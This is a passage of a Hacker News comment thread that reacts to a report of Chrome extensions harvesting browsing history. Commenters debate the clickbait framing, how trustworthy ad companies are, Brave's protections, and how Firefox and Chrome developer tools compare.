[3] https://www.notion.so/dkthehuman/Day-4-The-Dangers-of-Chrome...

[4] https://groups.google.com/a/chromium.org/d/msg/chromium-exte...

I am curious as to how Brave browser works out of the box to thwart these types of malicious extensions. Brave neuters the common abuses of browser technology like tracking, but what about detecting third requests _even if you have agreed to them_?

I guess Microsoft is timing some negative Chrome PR for their launch.

I was gob smacked by the way they jammed Edge down my throat in the last Windows update. Nothing has changed at that company.

People want to use IE6 and have security at the same time. History must repeat.

oh, the clickbait

it's just shitty chrome extensions gobbling traffic history to resell to ad companies

"massive spying" lol... making it sound like cyber-espionage

You make it sounds like ad companies are more trustworthy than cyber espionage companies. Do you think the ad companies actually keep all that data? It's resold, hacked and shared.

At this point, I treat Chrome like a Huawei phone: never secure and only to be used at work for those sweet sweet dev tools.

I use Firefox’s tools. The console as a tiny editor is cool. I think Chrome has a better network timeline/waterfall and performance monitor thing. But I only use those occasionally.

I hate Chrome with a passion. But: Annoyingly, Firefox hides the the call stack for some error messages which is especially painful if these come from a framework. Chrome never fails me to show the entire call stack.

As well inspection of request and response content is painful. Mouse scroll doesn't work and the horizontal bar shows only up when scrolling all the way down.

Finally copying and pasting any header content is abysmal. I never get it to work.

I use Firefox, even for development because I reject any support for Google but I wish there weren't these usability issues.

Firefox devs tools are great. I just use Chrome to play the occasional Stadia game.

Same here. Also never used any browser extension. Web devs need the pure browser experience.

The cumulative total hours wasted from all the Devs that accidentally left an ad blocker on whilst developing, then spent time debugging a misbehaving app has to be pretty high!

I know I've been caught out on that one before..

Using Chrome without extensions is probably as secure as it gets.

Reply on news.ycombinator.com